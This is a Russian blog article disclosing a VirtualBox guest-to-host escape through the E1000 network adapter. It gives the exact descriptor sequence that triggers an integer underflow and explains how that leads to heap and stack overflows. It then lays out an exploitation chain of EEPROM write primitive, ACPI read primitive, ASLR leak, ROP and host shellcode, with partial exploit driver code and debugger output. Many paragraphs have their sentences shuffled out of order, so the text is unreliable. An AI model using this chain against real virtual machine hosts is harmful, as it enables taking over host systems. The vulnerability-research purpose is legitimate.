Хабрахабр

[Из песочницы] Full disclosure: 0day-уязвимость побега из VirtualBox

image

Причина заключается в несогласии с текущими реалиями в информационной безопасности, точнее, в направлении security research и bug bounty. Мне нравится VirtualBox, и он не имеет никакого отношения к причине, по которой я выкладываю информацию об уязвимости.

  1. Считается нормальным ждать патча для уязвимостей по полгода, если только эти баги уже не в публичном доступе.
  2. В области bug bounty-программ считается нормальным:
    1. Ждать больше месяца, пока уязвимость не будет проверена и не будет озвучено решение о её приобретении.
    2. На ходу менять решение о том, будет ли программа покупать баги для данного софта. Сегодня вы узнали, что да, купят, а через неделю приходите с багами и эксплоитами и получаете ответ, что нет, не купят.
    3. Не иметь чёткого списка приложений, за баги в котором будут платить. Да, удобно организаторам bug bounty, нет, неудобно исследователям.
    4. Не иметь чётко заданных верхних и нижних границ цен за уязвимости. Факторов, влияющих на цену, чрезвычайно много, но исследователи должны видеть, на что стоит тратить своё время, а что не стоит и дня работы.
  3. Мания величия и маркетинговая чушь: давать названия уязвимостям и создавать для них сайты; проводить тысячу конференций в год; преувеличивать важность своей работы; считать себя "спасителем мира". Спуститесь на землю, Ваше высочество.

Первые два пункта окончательно вымотали меня, поэтому мой ход — full disclosure.

Общая информация

2. Уязвимое ПО: VirtualBox 5. 20 и более ранние версии.
Хостовая ОС: любая, баг находится в общей кодовой базе.
Гостевая ОС: любая.
Конфигурация ВМ: по умолчанию (для эксплуатации нужно только, чтобы сетевой картой была Intel PRO/1000 MT Desktop (82540EM), а режимом работы был NAT).

Как защититься

Если возможности сделать это нет, то измените для адаптера Intel режим работы с NAT на любой другой. Пока не вышла пропатченная версия VirtualBox, измените в настройках своих виртуальных машин сетевую карту на PCnet (любую из двух) или на Paravirtualized Network. Первый вариант надёжнее.

Введение

Для краткости мы будем называть его E1000. При создании новой виртуальной машины сетевым адаптером по умолчанию является Intel PRO/1000 MT Desktop (82540EM), настроенный на работу в режиме NAT.

Затем атакующий может воспользоваться уже известными техниками повышения привилегий до ring 0 с помощью драйвера VirtualBox /dev/vboxdrv. Код виртуального устройства E1000 содержит уязвимость, которая позволяет атакующему с правами root/administrator в гостевой ОС осуществить побег в хостовую ОС и выполнить код в ring 3.

Анализ уязвимости

Общие сведения о E1000

Пакеты передаются адаптеру не сами по себе, а обёрнутыми в Tx-дескрипторы (Transmit Descriptor). Для отправки сетевых пакетов гость делает всё то же самое, что и обычный компьютер: настраивает сетевой адаптер и отдаёт ему пакеты, которые состоят из фреймов канального уровня и прочих более высокоуровневых заголовков. PDF, Revision 4. Эти структуры данных, описанные в спецификации сетевой карты (317453006EN. 0), хранят различную метаинформацию, такую как размер пакета или тег VLAN, управляют TCP/IP-сегментацией и т.д.

Legacy-дескрипторы были актуальны, видимо, в прошлом. Спецификация 82540EM предусматривает три типа Tx-дескрипторов: legacy, context, data. Для нас важно только то, что context-дескрипторы задают максимальный размер пакета и включают/отключают TCP/IP-сегментацию, а в data-дескрипторы помещаются адреса пакетов в физической памяти и задаётся их размер. Остальные два используются в связке. Context-дескрипторы передаются сетевой карте, как правило, до data-дескрипторов. Размер пакета в data-дескрипторе не может быть больше, чем задано в context-дескрипторе.

Это кольцевой буфер, располагающийся в физической памяти по заранее заданному адресу. Чтобы передать Tx-дескрипторы сетевому адаптеру, они записываются в Tx-кольцо (Transmit Descriptor Ring). Когда все требуемые дескрипторы записаны в кольцо, гость обновляет регистр TDT (Transmit Descriptor Tail) в MMIO адаптера, что сигнализирует хосту о появлении новых дескрипторов, которые нужно обработать.

Исходные данные

У нас имеется следующий массив Tx-дескрипторов:

[context_1, data_2, data_3, context_4, data_5]

Допустим, что в них содержится следующая информация (названия полей специально сделаны человекочитаемыми, но они соответствуют полям дескрипторов из спецификации 82540EM):

context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Вскоре мы разберёмся, почему дескрипторы должны быть именно такими для эксплуатации ошибки.

Суть уязвимости

Обработка [context_1, data_2, data_3]

Теперь процесс VirtualBox на хосте выполнит функцию e1kXmitPending, располагающуюся в файле src/VBox/Devices/Network/DevE1000.cpp (большинство комментариев здесь и далее удалены в угоду читаемости): Представим, что гость записал в точной последовательности приведённые выше дескрипторы в Tx-кольцо и обновил регистр TDT.

static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{
... while (!pThis->fLocked && e1kTxDLazyLoad(pThis))

Затем e1kLocateTxPacket будет вызвана в первый раз. Функция e1kTxDLazyLoad считает все 5 Tx-дескрипторов из Tx-кольца. В нашем случае первый вызов e1kLocateTxPacket обработает дескрипторы context_1, data_2, data_3. Эта функция обходит все дескрипторы и подготавливает состояние для дальнейшей работы, но основную работу по обработке дескрипторов не выполняет. Это разбиение массива дескрипторов надвое ведёт к важным последствиям, поэтому посмотрим, почему оно происходит. Два оставшихся дескриптора, context_4 и data_5, будут обработаны на следующей итерации цикла while (мы рассмотрим вторую итерацию в следующем разделе).

Функция e1kLocateTxPacket выглядит так:

static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
... for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i) { E1KTXDESC *pDesc = &pThis->aTxDescriptors[i]; switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: e1kUpdateTxContext(pThis, pDesc); continue; case E1K_DTYP_LEGACY: ... break; case E1K_DTYP_DATA: if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN) break; ... break; default: AssertMsgFailed(("Impossible descriptor type!")); }

Эта функция обновляет контекст TCP-сегментации, если в дескрипторе была запрошена сегментация. Первый дескриптор (context_1) — E1K_DTYP_CONTEXT, поэтому вызывается функция e1kUpdateTxContext. предыдущий раздел), поэтому контекст TCP-сегментации будет обновлён (суть "обновления контекста TCP-сегментации" нам неинтересна, поэтому будем использовать этот термин просто для того, чтобы ссылаться на данный участок кода). Это истинно для нашего дескриптора context_1 (см.

Второй дескриптор (data_2) — E1K_DTYP_DATA, для него выполняются некоторые другие действия, не имеющие для нас значения.

Теперь фокус: в вышеприведённом коде после оператора switch идёт проверка, установлен ли флаг end_of_packet в дескрипторе. Третий дескриптор (data_3) — E1K_DTYP_DATA, но поскольку data_3.data_length == 0 (pDesc->data.cmd.u20DTALEN в коде выше), никаких действий не выполняется.
В данный момент времени все три дескриптора первоначально обработаны, и у нас есть ещё два необработанных дескриптора. Это истинно для дескриптора data_3 (data_3.end_of_packet == true), поэтому код выполняет некоторые действия и выходит из функции:

if (pDesc->legacy.cmd.fEOP) { ... return true; }

Ниже вы увидите, почему этот выход из функции ещё до обхода всех дескрипторов ведёт к багу. Если бы флаг data_3.end_of_packet не был установлен, тогда оставшиеся два дескриптора были бы также первоначально обработаны, и это предотвратило бы уязвимость.

Теперь во внутреннем цикле while функции e1kXmitPending вызывается e1kXmitPacket. Итак, при возврате из e1kLocateTxPacket мы имеем следующие дескрипторы, готовые к тому, чтобы извлечь из них сетевые пакеты и отправить в сеть: context_1, data_2, data_3. Эта функция снова обходит все дескрипторы (5 в нашем случае), чтобы наконец-таки обработать их:

static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
... while (pThis->iTxDCurrent < pThis->nTxDFetched) { E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent]; ... rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread); ... if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break; }

Для каждого дескриптора вызывается функция e1kXmitDesc:

static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread)
{
... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

Функция не делает ничего для context-дескрипторов. Первый дескриптор, который передаётся в e1kXmitDesc, это context_1.

Поскольку для всех data-дескрипторов у нас установлен флаг tcp_segmentation_enable == true (pDesc->data.cmd.fTSE в коде выше), мы вызываем функцию e1kFallbackAddToFrame, где позже произойдёт переполнение целочисленной переменной при обработке дескриптора data_5. Второй дескриптор это data_2.

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{ ... uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS; /* * Carve out segments. */ int rc = VINF_SUCCESS; do { /* Calculate how many bytes we have left in this TCP segment */ uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; if (cb > pDesc->data.cmd.u20DTALEN) { /* This descriptor fits completely into current segment */ cb = pDesc->data.cmd.u20DTALEN; rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread); } else { ... } pDesc->data.u64BufAddr += cb; pDesc->data.cmd.u20DTALEN -= cb; } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc)); if (pDesc->data.cmd.fEOP) { ... pThis->u16TxPktLen = 0; ... } return VINF_SUCCESS;
}

Самые важные для нас переменные здесь: u16MaxPktLen, pThis->u16TxPktLen, pDesc->data.cmd.u20DTALEN.

Нарисуем таблицу, где будут указаны значения переменных до и после выполнения функции e1kFallbackAddToFrame для двух data-дескрипторов.

Tx-дескриптор

До/После

u16MaxPktLen

pThis->u16TxPktLen

pDesc->data.cmd.u20DTALEN

data_2

До

0x3010

0

0x10

-

После

0x3010

0x10

0

data_3

До

0x3010

0x10

0

-

После

0x3010

0x10

0

Взгляните ещё раз на конец листинга для функции e1kXmitPacket: Для нас здесь важно только то, что когда data_3 обработан, pThis->u16TxPktLen равен 0x10.
А теперь самый важный момент.

if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

Мы снова не закончили работу с дескрипторами, как и в случае с первоначальной обработкой. Поскольку тип дескриптора data_3 не равен E1K_DTYP_CONTEXT, и поскольку data_3.end_of_packet == true, мы делаем break из цикла несмотря на тот факт, что нам нужно ещё обработать context_4 и data_5. Чтобы понять суть уязвимости, нужно понять, что все context-дескрипторы обрабатываются до data-дескрипторов. Почему это важно? Data-дескрипторы обрабатываются позднее, в функции e1kXmitPacket. Context-дескрипторы обрабатываются в процессе обновления контекста TCP-сегментации в функции e1kLocateTxPacket. Если бы мы могли в любой момент времени изменять context-дескрипторы, то легко могли бы добиться целочисленного переполнения в e1kFallbackAddToFrame (размер обработанных данных лежит в pThis->u16TxPktLen): Разработчики сделали так для того, чтобы запретить изменение переменной u16MaxPktLen, которая контроллируется context-дескрипторами, после того как несколько байт сетевых пакетов были обработаны.

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Вспомните, что ещё в e1kLocateTxPacket мы заставили функцию выполнить возврат из-за того, что data_3.end_of_packet == true. Но мы можем обойти эту защиту от переполнения. Из-за этого у нас остались ещё два дескриптора (context_4 и data_5), ожидающих первоначальной и финальной обработки несмотря на то, что мы уже обработали несколько байт (pThis->u16TxPktLen равен 0x10, а не нулю).

Итак, у нас появилась возможность изменить u16MaxPktLen произвольным образом с помощью context_4.maximum_segment_size, чтобы добиться целочисленного переполнения.

Обработка [context_4, data_5]

Мы полностью обработали первые три дескриптора и возвращаемся в начало внутреннего цикла while функции e1kXmitPending:

while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

Как было сказано ранее, мы можем установить значение context_4.maximum_segment_size произвольным образом, в т.ч. Здесь мы вызываем e1kLocateTxPacket, чтобы выполнить первоначальную обработку context_4 и data_5. Вспомните наши исходные данные: таким, что оно будет меньше размера данных, которые мы уже обработали.

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

После выполнения e1kLocateTxPacket мы имеем максимальный размер сетевого пакета равным 0xF, в то время как размер уже обработанных данных равен 0x10.

Наконец, в процессе обработки data_5 вызывается функция e1kFallbackAddToFrame, где мы имеем следующие значения переменных:

Tx-дескриптор

До/После

u16MaxPktLen

pThis->u16TxPktLen

pDesc->data.cmd.u20DTALEN

data_5

До

0xF

0x10

0x4188

-

После

-

-

-

Как следствие, возникает целочисленное переполнение:

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
=>
uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

0xFFFFFFFF > 0x4188: Это позволяет нам успешно выполнить следующую проверку, т.к.

if (cb > pDesc->data.cmd.u20DTALEN) { cb = pDesc->data.cmd.u20DTALEN; rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread); }

Без уязвимости невозможно вызвать эту функцию с размером, большим 0x4000, т.к. Теперь будет вызвана функция e1kFallbackAddSegment с размером (cb), равным 0x4188. в процессе обновления контекста TCP-сегментации выполняется проверка, что максимальный размер сегмента меньше либо равен 0x4000:

DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/ ... }

Переполнение буфера

Я нашёл как минимум две возможности. Каким образом мы можем проэксплуатировать нашу возможность вызывать функцию e1kFallbackAddSegment с произвольным размером? Во-первых, те данные, которые передаёт гость, копируются в буфер на куче:

static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{ ... PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr, pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Здесь pThis->aTxPacketFallback это буфер размером 0x3FA0, а u16Len равен 0x4188 — очевидное переполнение кучи, которое может привести, допустим, к перезаписи указателей на функции, объекты или чего угодно ещё.

Эта функция выделяет на стеке буфер размером 0x4000 и копирует в него данные с заданным размером без каких-либо проверок, т.к. Во-вторых, если мы посмотрим поглубже, то найдём, что e1kFallbackAddSegment вызывает функцию e1kTransmitFrame, которая при определённой конфигурации регистров сетевого адаптера вызывает e1kHandleRxPacket. они были выполнены ранее:

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

Оба приведённых выше примера, heap buffer overflow и stack buffer overflow, задействованы в эксплоите. Как видите, мы преобразовали уязвимость целочисленного переполнения в классическую уязвимость переполнения стекового буфера.

Эксплоит

Для Windows потребуется драйвер, который будет отличаться разве что обёрткой для инициализации да другими вызовами ядерного API. Эксплоитом является модуль ядра Linux, который загружается в гостевой ОС.

Это нормальное явление и не считается непреодолимой преградой. Загрузка драйвера в обеих операционных системах требует повышенных привилегий. Для примера можно взглянуть на соревнование Pwn2Own, где исследователи применяют цепочки эксплоитов: в гостевой ОС эксплуатируется браузер, открывший "вредоносный" сайт, делается побег из песочницы браузера для полного доступа к контексту ring 3, эксплуатируется уязвимость в операционной системе для получения доступа к ring 0, откуда открываются все возможности для атаки на гипервизор из гостевой ОС.

В VirtualBox тоже есть код, который достижим без root-привилегий, и он ещё слабо изучен. Конечно, самыми мощными уязвимостями в гипервизорах являются те, которые эксплуатируются из ring 3 гостя.

Это значит, что он либо работает всегда, либо не работает вообще из-за несоответствующих бинарников или чего-то более проблемного, мной не предусмотренного. Эксплоит стабилен на 100%. 04 и 18. На гостевых Ubuntu 16. 04 x86_64 с конфигурацией по умолчанию он работает.

Алгоритм эксплуатации

  1. Атакующий выгружает модуль ядра e1000.ko, работающий по умолчанию в гостевых системах Linux, и загружает свой драйвер.
  2. Драйвер инициализирует сетевой адаптер E1000 в соответствии со спецификацией. Инициализируется только transmit-часть, т.к. receive-часть не используется.
  3. Шаг 1: information leak.
    1. Отключается loopback-режим сетевого адаптера, благодаря чему код, содержащий stack buffer overflow, будет недостижим.
    2. С помощью основной уязвимости делается integer underflow, ведущий к heap buffer overflow, но не stack buffer overflow.
    3. Heap buffer overflow приводит к тому, что при взаимодействии с EEPROM сетевого адаптера можно записать любые два байта относительно буфера на куче в пределах 128 килобайт. Тем самым атакующий получает write-примитив.
    4. С помощью write-примитива восемь раз делается запись байта в структуру данных на куче, относящуюся к устройству ACPI (Advanced Configuration and Power Interface). Байт записывается в переменную, которая используется при обращении к ACPI как индекс в массиве на куче, из которого будет считан один байт. Поскольку размер массива меньше числа, помещающегося в байт (255), атакующий получает возможность читать за пределами массива, т.е. получает read-примитив.
    5. С помощью read-примитива атакующий делает 8 запросов к ACPI и получает 8 байт с кучи. Эти 8 байт — указатель относительно динамической библиотеки VBoxDD.so.
    6. Драйвер вычитает константу из указателя и получает базовый адрес библиотеки VBoxDD.so.
  4. Шаг 2: stack buffer overflow.
    1. Включается loopback-режим сетевого адаптера, благодаря чему будет достижим код, содержащий stack buffer overflow.
    2. С помощью основной уязвимости делается integer underflow, ведущий к heap buffer overflow и stack buffer overflow. Перезаписывается сохранённый на стеке адрес возврата (RIP/EIP). Атакующий получает контроль над исполнением.
    3. Выполняется цепочка ROP-гаджетов, которая передаёт управление на загрузчик шеллкода.
  5. Шаг 3: shellcode.
    1. Загрузчик шеллкода копирует рядом с собой основной шеллкод с буфера на стеке. Управление передаётся на шеллкод.
    2. Шеллкод делает системные вызовы fork и execve для создания произвольного процесса на стороне хоста.
    3. Родительский процесс выполняет заключительные действия для того, чтобы виртуальная машина не скрашилась и продолжила нормальную работу.
  6. Атакующий выгружает драйвер и подгружает e1000.ko обратно, чтобы гостевая ОС могла продолжить работать с сетью.

Инициализация

Физический адрес и размер задаётся гипервизором. Драйвер отображает участок физической памяти, соответствующий MMIO сетевой карты, на виртуальную память.

void* map_mmio(void) { off_t pa = 0xF0000000; size_t len = 0x20000; void* va = ioremap(pa, len); if (!va) { printk(KERN_INFO PFX"ioremap failed to map MMIO\n"); return NULL; } return va;
}

Затем выполняется конфигурация регистров общего назначения E1000, выделяется память под Tx-кольцо и конфигурируются transmit-регистры.

void e1000_init(void* mmio) { // Configure general purpose registers configure_CTRL(mmio); // Configure TX registers g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL); if (!g_tx_ring) { printk(KERN_INFO PFX"Failed to allocate TX Ring\n"); return; } configure_TDBAL(mmio); configure_TDBAH(mmio); configure_TDLEN(mmio); configure_TCTL(mmio);
}

Обход ASLR

Write-примитив

В первую очередь имеется в виду служба Chromium (не браузер), отвечающая за 3D-ускорение, в которой за последний год исследователи нашли более 40 уязвимостей. С начала разработки эксплоита я решил отказаться от использования примитивов, найденных в подсистемах VirtualBox, отключённых по умолчанию. Information leak — это утечка информации, как правило указателя относительно какой-нибудь динамической библиотеки, по которому можно получить её базовый адрес и обойти защиту ASLR.

Появилась очевидная мысль, что раз наша основная уязвимость позволяет переполнить кучу, т.е. Встала задача: найти уязвимость класса information leak в компонентах, работающих по умолчанию. Дальше мы увидим, что не понадобились никакие дополнительные уязвимости: наш integer underflow оказался столь мощным, что дал read- и write-примитивы, а также information leak и stack buffer overflow. относится к классу heap buffer overflow, мы контролируем всё, что находится за пределами этого буфера.

Посмотрим, что именно переполняется на куче.

/** * Device state structure. */
struct E1kState_st
{
... uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
... E1kEEPROM eeprom;
...
}

Ища, какие интересные поля за этим буфером можно изменить, на глаза попалась структура E1kEEPROM. Здесь aTxPacketFallback — это буфер размером 0x3FA0, который будет переполнен данными, считываемыми из data-дескриптора. Внутри неё есть другая структура с такими полями (файл src/VBox/Devices/Network/DevE1000.cpp):

/** * 93C46-compatible EEPROM device emulation. */
struct EEPROM93C46
{
... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires;
...
}

В коде E1000 реализована работа с EEPROM — постоянной памятью сетевого адаптера. Что нам может дать их модификация? Работа с EEPROM реализована в виде конечного автомата, который имеет несколько состояний и выполняет четыре действия. Гостевая ОС может получить к ней доступ, используя определённые MMIO-регистры E1000. Вот как оно выглядит (файл src/VBox/Devices/Network/DevEEPROM.cpp): Нас будет интересовать только действие "запись в память".

EEPROM93C46::State EEPROM93C46::opWrite()
{ storeWord(m_u16Addr, m_u16Word); return WAITING_CS_FALL;
} void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{ if (m_fWriteEnabled) { E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr)); m_au16Data[u32Addr] = u16Value; } m_u16Mask = DATA_MSB;
}

Поэтому можно задать их таким образом, что при выполнении инструкции Здесь m_u16Addr, m_u16Word и m_fWriteEnabled — это значения полей в структуре EEPROM93C46, которую мы полностью контролируем.

m_au16Data[u32Addr] = u16Value;

Мы нашли write-примитив. два байта будут записан по произвольному 16-битовому смещению от массива m_au16Data, который располагается в той же структуре.

Read-примитив

К счастью, прибегать к нестабильному заполнению кучи (heap spray) не пришлось, т.к. Следующая задача заключалась в поиске структур данных на куче, в которые был бы смысл записывать произвольные данные, не забывая, что основная цель — слить указатель относительно какого-нибудь модуля, чтобы получить его базовый адрес. оказалось, что основные структуры данных для виртуальных устройств выделяются из внутренней кучи гипервизора таким образом, что при каждом запуске VirtualBox расстояние между этими блоками кучи одинаковое несмотря на то, что виртуальные адреса блоков при каждом запуске, конечно же, различаются благодаря ASLR.

Говоря конкретно, при запуске VirtualBox подсистема PDM (Pluggable Device and Driver Manager) для каждого устройства создаёт объект PDMDEVINS, который выделяется из кучи гипервизора.

int pdmR3DevInit(PVM pVM)
{
... PPDMDEVINS pDevIns; if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0)) rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns); else rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

Я прогнал этот участок кода под отладчиком GDB с помощью скрипта и получил примерно такой вывод:

[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8 [trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8 ... [trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' <repeats 26 times>
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0 [trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times>
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848 [trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times>
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728 [trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '\000' <repeats 27 times>
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570 [trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90 [trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

Во втором списке видно, что следующее за E1000 устройство находится на расстоянии 0x5700 байт, следующее — ещё 0x19E0 байт и т.д. Нас интересует устройство под индексом 0xE, соответствующее E1000. И как было сказано выше, эти расстояния всегда одинаковые, что открывает перед нами море возможностей эксплуатации.

Изучая структуры данных, соответствующие этим устройствам, я нашёл прекрасную возможность применить наш write-примитив. После E1000 мы имеем следующие устройства в порядке возрастания адресов: ICH IC'97, OHCI, ACPI, VirtualBox GIM.

При запуске виртуальной машины создаётся устройство ACPI (файл src/VBox/Devices/PC/DevACPI.cpp):

typedef struct ACPIState
{
... uint8_t au8SMBusBlkDat[32]; uint8_t u8SMBusBlkIdx; uint32_t uPmTimeOld; uint32_t uPmTimeA; uint32_t uPmTimeB; uint32_t Alignment5;
} ACPIState;

В случае порта 0x4107 имеем такой код: Для него регистрируется обработчик портов ввода/вывода в диапазоне 0x4100-0x410F.

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{ RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser;
... switch (off) {
... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break;
...

